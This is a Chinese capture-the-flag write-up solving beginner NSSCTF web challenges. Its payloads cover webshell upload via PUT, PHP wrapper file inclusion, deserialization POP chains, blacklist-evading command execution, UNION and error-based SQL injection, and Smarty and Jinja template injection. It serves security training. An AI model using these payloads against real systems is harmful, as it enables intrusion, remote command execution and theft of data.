草庐IT

NSSCTF-Web安全入门-wp

J_0k3r 2023-12-17 原文

目录

http知识

[SWPUCTF 2021 新生赛]jicao

 [NSSRound#1 Basic]basic_check

 解法1：nikto

解法2：curl

解法3：控制台

[SWPUCTF 2021 新生赛]Do_you_know_http

[SWPUCTF 2021 新生赛]gift_F12

[第五空间 2021]WebFTP 

phpinfo

readme.md文件里有账号密码（其实字典爆破也能行

MD5

[SWPUCTF 2021 新生赛]easy_md5

数组绕过

 0e绕过

 文件包含&伪协议

 [SWPUCTF 2021 新生赛]include

[SWPUCTF 2021 新生赛]PseudoProtocols 

file_get_contents($a,'r') 用data流

 php://input

[NISACTF 2022]easyssrf 

filter流读取

目录穿越

 反序列化

[SWPUCTF 2021 新生赛]ez_unserialize

[SWPUCTF 2021 新生赛]no_wakeup 

[ZJCTF 2019]NiZhuanSiWei 

[SWPUCTF 2021 新生赛]pop

[NISACTF 2022]babyserialize

 bypass&rce

[鹤城杯 2021]EasyP

​编辑 [SWPUCTF 2021 新生赛]caidao

[SWPUCTF 2021 新生赛]easyrce 

[SWPUCTF 2021 新生赛]babyrce

[SWPUCTF 2021 新生赛]hardrce 

没过滤~，取反绕过 

[SWPUCTF 2021 新生赛]finalrce 

sql注入

 [SWPUCTF 2021 新生赛]easy_sql

 当然也可以跑sqlmap，非常简单就不截图了

 [SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]sql

 ssti

[CISCN 2019华东南]Web11

[NISACTF 2022]midlevel

 [NISACTF 2022]is secret

舔狗日记 

http知识

[SWPUCTF 2021 新生赛]jicao

http协议相关知识，GET，POST

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

json格式：百度百科-验证

payload：

?json={"x":"wllm"}      //POST id=wllmNB

 [NSSRound#1 Basic]basic_check

http请求方法：HTTP请求方式中8种请求方法（简单介绍） - 韦邦杠 - 博客园

curl&nikto&burpsuite工具使用

nikto安装：Nikto安装和使用_半砖的博客-CSDN博客_nikto下载

 解法1：nikto

nikto -h http://1.14.71.254:28338/

 允许使用PUT协议

burp抓包用put协议上传木马

 放包，在a.php下命令执行即可

解法2：curl

必须推荐的Curl工具使用指南_barnett_y的博客-CSDN博客

curl -i -X OPTIONS "http://1.14.71.254:28338/"

 不知道为啥在windows下curl会报错

后面步骤一样抓包传🐎

解法3：控制台

[SWPUCTF 2021 新生赛]Do_you_know_http

 bp抓包改ua头

 访问a.php

 本地访问写XFF（localhost也行

 访问/secretttt.php就行

[SWPUCTF 2021 新生赛]gift_F12

 等待461天（bushi

 F12检索flag就行

[第五空间 2021]WebFTP 

dirsearch&御剑（扫，都可以扫

phpinfo

readme.md文件里有账号密码（其实字典爆破也能行

 登录之后慢慢找flag

MD5

[SWPUCTF 2021 新生赛]easy_md5

 <?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?>
wrong!

if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }

 弱比较

数组绕过

 0e绕过

PHP中MD5和sha1绕过方式总结 - dre0m1 - 博客园 (cnblogs.com)

 弱比较之前会先类型转换，两个字符md5之后都是0e开头就会被转换为0=0

 文件包含&伪协议

 [SWPUCTF 2021 新生赛]include

伪协议：PHP伪协议大总结【欢迎收藏】-php教程-PHP中文网

ini_set("allow_url_include","on");

filter流

?file=php://filter/read=convert.base64-encode/resource=flag.php

[SWPUCTF 2021 新生赛]PseudoProtocols 

还是先filter流

 <?php..//go to /test2222222222222.php..?>

继续读test2222222222222.php

<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
	echo "success\n";
	echo $flag;
}
?>

file_get_contents($a,'r') 用data流

/test2222222222222.php?a=data://text/plain,I want flag

 php://input

[NISACTF 2022]easyssrf 

噢哈哈哈哈，wp来咯（doge

file协议

 访问http://1.14.71.254:28232/ha1x1ux1u.php

 <?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}

//flag in /flag
echo file_get_contents($file);

filter流读取

/ha1x1ux1u.php?file=php://filter/read=convert.base64-encode/resource=/flag

目录穿越

/ha1x1ux1u.php?file=../../..//flag

 反序列化

[SWPUCTF 2021 新生赛]ez_unserialize

反序列化看y4爷的博客：[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

__destruct()方法在对象被销毁是调用，我们先创建一个对象，给其成员赋值然后进行序列化

exp:

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$a = new wllm();
$a->admin = "admin";
$a->passwd = "ctf";
echo serialize($a);

/cl45s.php?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

[SWPUCTF 2021 新生赛]no_wakeup 

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

要绕过wakeup方法

 exp:

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$a = new HaHaHa();
$a->admin = "admin";
$a->passwd = "wllm";
echo serialize($a);

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

改为：

/class.php?p=O:6:"HaHaHa":9:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 
# 利用data协议绕过file_get_contents
方法：text=data://text/plain,welcome to the zjctf
# 利用filter协议读取提示文件
方法：file=php://filter/read=convert.base64-encode/resource=useless.php
# 第一步payload
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

exp

<?php
class Flag{  //flag.php
    public $file='flag.php';
}
$a=new Flag();
echo urlencode(serialize($a));
//O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

 payload：

/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A{s%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B}

看源码flag

[SWPUCTF 2021 新生赛]pop

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

//exp
<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;

}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>

[NISACTF 2022]babyserialize

原生类

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>
//exp
<?php
class NISA{
    public $fun;
    public $txw4ever='System("cat /fllllllaaag");';
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
$t=new TianXiWei();
$t->ext=new Ilovetxw();
$t->ext->huang=new four();
$t->ext->huang->a=new Ilovetxw();
$t->ext->huang->a->su=new NiSA();
echo urlencode(serialize($t));

 

 bypass&rce

[鹤城杯 2021]EasyP

<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?>

前面这段是没用的

<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
} 
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?>

后面这3个正则需要满足

$_SERVER

$_SERVER['REQUEST_URI'] 

basename()

 payload：

/index.php/utils.php/啊?show.source

第一个正则要令匹配后为  utils.php  ，因为$_SERVER['PHP_SELF']匹配脚本文件名，所以前面这个index.php的作用是使其匹配为index.php，此时就绕过了正则1

对于第三个正则，要绕过basename只要用非ascii码就行 可以用汉字绕过

第二个正则

用show[source或者show.source代替下划线绕过匹配

 [SWPUCTF 2021 新生赛]caidao

 

 eval把符合php语法的字符串当代码执行

 POST

wllm=system('cat /f*');

*号是通配符，匹配任意个数的字符，模糊匹配flag

 当然可以连蚁剑或者菜刀

[SWPUCTF 2021 新生赛]easyrce 

 <?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>

 跟上一题一样的操作

[SWPUCTF 2021 新生赛]babyrce

 <?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦！";
?> 小饼干最好吃啦！

 bp抓包改cookie值

访问 rasalghul.php

 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}
?>

 过滤空格，Linux下绕过空格的方式总结_@北陌的博客-CSDN博客_空格绕过

/rasalghul.php?url=cat$IFS$1/f*

[SWPUCTF 2021 新生赛]hardrce 

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦！");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦！");
}
echo "NoVic4说：不错哦小伙子，可你能拿到flag吗？";
eval($wllm);
}
else
{
    echo "蔡总说：注意审题！！！";
}
?> 蔡总说：注意审题！！！

无字母rce RCE篇之无数字字母rce - 学安全的小白 - 博客园 (cnblogs.com)

没过滤~，取反绕过 

php7以上

<?php
echo "(~%27";
echo(urlencode(~'system'));
echo "%27)";
echo "(~%27";
echo(urlencode(~'cat /f*'));
echo "%27);";

php5要用变量

<?php
  echo "\$_=~";
echo urlencode(~"system");
echo ";";
echo "\$__=~";
echo urlencode(~'ls');
echo ";";
echo "\$_(\$__);";
?>

这里过滤了$，用第一个exp

[SWPUCTF 2021 新生赛]finalrce 

无回显rce，exec()函数能命令执行但不会回显结果

可以将结果写入一个文件

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}

过滤ls：

  • dir
  • \反斜杠转义

tee 

 payload：

?url=l\s /|tee 1.txt   or  ?url=dir /|tee 1.txt

过滤cat

tac或者nl

?url=tac /flllll\aaaaaaggggggg|tee 1.txt

sql注入

SQL注入WIKI

 [SWPUCTF 2021 新生赛]easy_sql

 输入wllm=1'报错，存在注入

啥也没过滤

3列

联合查询注入

0' union select 1,2,3 %23

 2，3回显位

?wllm=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23

test_tb,users

0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() %23

id,flag,id,username,password

?wllm=0' union select 1,2,group_concat(flag) from test_tb %23

NSSCTF{d8ddd41f-e28b-4072-ac3e-611bfa1bb679}

 当然也可以跑sqlmap，非常简单就不截图了

Sqlmap命令大全_风过留不留声的博客-CSDN博客

 [SWPUCTF 2021 新生赛]error

报错注入

extractvalue() & updatexml()，跟联合注入差不多，就是多了这两函数

 

存在注入

/index.php?id=0' and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema = database())),1) -- a

~test_tb,users

/index.php?id=0' and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema = database())),1) -- a
~id,flag,id,username,password

回显限制31长度

/index.php?id=0' and updatexml(1,concat('~',substr((select flag from test_tb), 1 , 31)),3) -- a

substr字符串截断

[SWPUCTF 2021 新生赛]sql

总结：

1.可以通过做题来丰富自己的fuzz字典，在绕过过滤时有更多的选择

2.新姿势：

  • = 被过滤时用like来绕过
  • right()，reverse()，mid()函数 同样可以解决回显长度被限制的情况

打开题目就看到有waf了，然后过滤也是比较多的

先是跑了一下sqlmap，发现跑得通但是交上去flag是错的

应该是sqlmap被禁了

老老实实手注

可以跑一下fuzz脚本康康有什么过滤的

堆叠注入被ban了，报错也被ban了，但是union，select这些都没被过滤，应该就是联合查询注入了

然后还过滤了以下东西

空格 用/**/ 绕过

学到了一个新姿势，=被过滤时可以用like来代替

= -> like 用法也是和=差不多

开注

查长度，为3

查回显位为2，3 

查数据库，为test_db 

查表， LTLT_flag 

0'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'/**/%23 //这里like充当了=

查字段，flag 

读数据 

读flag发现被限制了回显长度，只能回显一部分flag 

前面做报错注入时，知道可以用substr(),limit(),来解决回显长度被限制的情况，

limit是分页回显多个数据的，当然这里是同一个flag应该不能分页

但是发现substr被ban了

看大佬的wp知道除了上面两个以外还有right，REVERSE，mid函数可以解决但是前两个都被过滤了，只能用mid

只能回显20位

1~20

21~40

41~60

做的这，就知道为什么sqlmap跑出来的为什么是错的了

手注时flag在 LTLT_flag这个表

但是sqlmap跑出来的是在test_tb这个表0.0.0.0.0

 ssti

一般先判断是否存在sstl注入漏洞

如：（）

{{7*7}} 看是否回显执行并回显49

{{1}}看是否回显1

通过上图不同语法，传参看回显，判断不同模板 

[CISCN 2019华东南]Web11

和下面那题一样解法

 

[NISACTF 2022]midlevel

Smarty-SSTI常规利用方式：

1. {$smarty.version}

{$smarty.version}  #获取smarty的版本号

2. {php}{/php}

{php}phpinfo();{/php} #执行相应的php代码

3. {literal}

<script language="php">phpinfo();</script>

4. getstreamvariable

{self::getStreamVariable("file:///etc/passwd")} #这个方法可以读取一个文件并返回其内容，所以我们可以用self来获取Smarty对象并调用这个方法。

5. {if}{/if}

{if phpinfo()}{/if} #同样还能用来执行一些系统命令

6.直接{system('ls')} 执行系统命令

 

应该是get参数ip或者xff

发现存在注入

{$smarty.version}  获取smarty的版本号

能直接执行系统命令0.0

用{if}{/if}也可以

 [NISACTF 2022]is secret

/secret?secret={{7*7}}

发现是flask的报错，显示了部分源码。可以看到是flask，python版本是2.7 

加密算法使用的是RC4，密钥泄漏了。将所发送内容解密之后会被渲染，因此考虑到可能存在模版注入。 

 rc4加密，rce是流密码的一种

密钥是 HereIsTreasure

构造：{{ config.__class__.__init__.__globals__['os'].popen('cat /f*').read() }}

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况，小于256不断重复填充即可
    # print("原来的 s 盒：%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒：%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串，加密后是：%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是：%s" %quote(cipher))
    #print("加密后的输出(经过编码):")
    #print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{ config.__class__.__init__.__globals__['os'].popen('cat /f*').read() }}")
#加密后的字符串是：.%14%19V%C2%A5%09%0Dgl%C3%93%C3%A7%2C%C2%BD%C2%BE%C3%B7%C2%BB%27%C2%ACkz%C2%88m%C3%A9%7C%03%C2%85%07%C2%B6%1C%C3%B3%0D%C3%A0%21%C2%84O%C3%97%04%C3%A2%17%C3%9B%40%C2%9D%C2%82%C3%B1%2A3%C3%B3%0A%C2%AA%C2%ADCb%2A%C2%AC%29m%C2%83%7F%07%C3%82%C3%B3%0DX%C2%BB%C2%86%1C%C2%BBMr%0Dw%C3%B4R

payload

/secret?secret=.%14%19V%C2%A5%09%0Dgl%C3%93%C3%A7%2C%C2%BD%C2%BE%C3%B7%C2%BB%27%C2%ACkz%C2%88m%C3%A9%7C%03%C2%85%07%C2%B6%1C%C3%B3%0D%C3%A0%21%C2%84O%C3%97%04%C3%A2%17%C3%9B%40%C2%9D%C2%82%C3%B1%2A3%C3%B3%0A%C2%AA%C2%ADCb%2A%C2%AC%29m%C2%83%7F%07%C3%82%C3%B3%0DX%C2%BB%C2%86%1C%C2%BBMr%0Dw%C3%B4R

舔狗日记 


从你闺蜜那知道，你喜欢进这家按摩店，于是去应聘我都给自己戳瞎了，结果店长告诉我“不收盲人”

NSSCTF-Web入门blockquote34codeweb安全

有关NSSCTF-Web安全入门-wp的更多相关文章

  1. ruby - 如何使用 Ruby aws/s3 Gem 生成安全 URL 以从 s3 下载文件 - 2

    我正在编写一个小脚本来定位aws存储桶中的特定文件，并创建一个临时验证的url以发送给同事。(理想情况下，这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针，它似乎不符合这个标准，但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A

  2. ruby - 如何安全地删除文件？ - 2

    在Ruby中是否有Gem或安全删除文件的方法？我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix，一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?

  3. LC滤波器设计学习笔记（一）滤波电路入门 - 2

    目录前言滤波电路科普主要分类实际情况单位的概念常用评价参数函数型滤波器简单分析滤波电路构成低通滤波器RC低通滤波器RL低通滤波器高通滤波器RC高通滤波器RL高通滤波器部分摘自《LC滤波器设计与制作》，侵权删。前言最近需要学习放大电路和滤波电路，但是由于只在之前做音乐频谱分析仪的时候简单了解过一点点运放，所以也是相当从零开始学习了。滤波电路科普主要分类滤波器：主要是从不同频率的成分中提取出特定频率的信号。有源滤波器：由RC元件与运算放大器组成的滤波器。可滤除某一次或多次谐波，最普通易于采用的无源滤波器结构是将电感与电容串联，可对主要次谐波（3、5、7）构成低阻抗旁路。无源滤波器：无源滤波器，又称

  4. 微信小程序开发入门与实战（Behaviors使用） - 2

    @作者:SYFStrive @博客首页:HomePage📜：微信小程序📌：个人社区（欢迎大佬们加入）👉：社区链接🔗📌：觉得文章不错可以点点关注👉：专栏连接🔗💃：感谢支持,学累了可以先看小段由小胖给大家带来的街舞👉微信小程序（🔥）目录自定义组件-behaviors    1、什么是behaviors    2、behaviors的工作方式    3、创建behavior    4、导入并使用behavior    5、behavior中所有可用的节点    6、同名字段的覆盖和组合规则总结最后自定义组件-behaviors    1、什么是behaviorsbehaviors是小程序中，用于实现

  5. 【Java入门】使用Java实现文件夹的遍历 - 2

    遍历文件夹我们通常是使用递归进行操作，这种方式比较简单，也比较容易理解。本文为大家介绍另一种不使用递归的方式，由于没有使用递归，只用到了循环和集合，所以效率更高一些！一、使用递归遍历文件夹整体思路1、使用File封装初始目录，2、打印这个目录3、获取这个目录下所有的子文件和子目录的数组。4、遍历这个数组，取出每个File对象4-1、如果File是否是一个文件，打印4-2、否则就是一个目录，递归调用代码实现publicclassSearchFile{publicstaticvoidmain(String[]args){//初始目录Filedir=newFile("d:/Dev");Datebeg

  6. ES基础入门 - 2

    ES一、简介1、ElasticStackES技术栈：ElasticSearch：存数据+搜索；QL；Kibana：Web可视化平台，分析。LogStash：日志收集，Log4j:产生日志；log.info(xxx)。。。。使用场景：metrics：指标监控…2、基本概念Index（索引）动词：保存（插入）名词：类似MySQL数据库，给数据Type（类型）已废弃，以前类似MySQL的表现在用索引对数据分类Document（文档）真正要保存的一个JSON数据{name:"tcx"}二、入门实战{"name":"DESKTOP-1TSVGKG","cluster_name":"elasticsear

  7. ruby - 用 YAML.load 解析 json 安全吗？ - 2

    我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗？YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("

  8. ruby - 如何配置 Ruby Mechanize 代理以通过 Charles Web 代理工作？ - 2

    我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe

  9. ruby-on-rails - 安全地显示使用回形针 gem 上传的图像 - 2

    默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因，我不想将附件存储在公共(public)目录中，所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项，因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置，那么我可以这样做，因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来，如果我将图像附件保存在公共(public)目录之外并且不指定url(同

  10. ruby - 使写入文件线程安全 - 2

    我在一个ruby​​文件中有一个函数可以像这样写入一个文件File.open("myfile",'a'){|f|f.puts("#{sometext}")}这个函数在不同的线程中被调用，使得像上面这样的文件写入不是线程安全的。有谁知道如何以最简单的方式使这个文件写入线程安全？更多信息:如果重要的话，我正在使用rspec框架。 最佳答案 您可以通过File#flock给锁File.open("myfile",'a'){|f|f.flock(File::LOCK_EX)f.puts("#{sometext}")}

随机推荐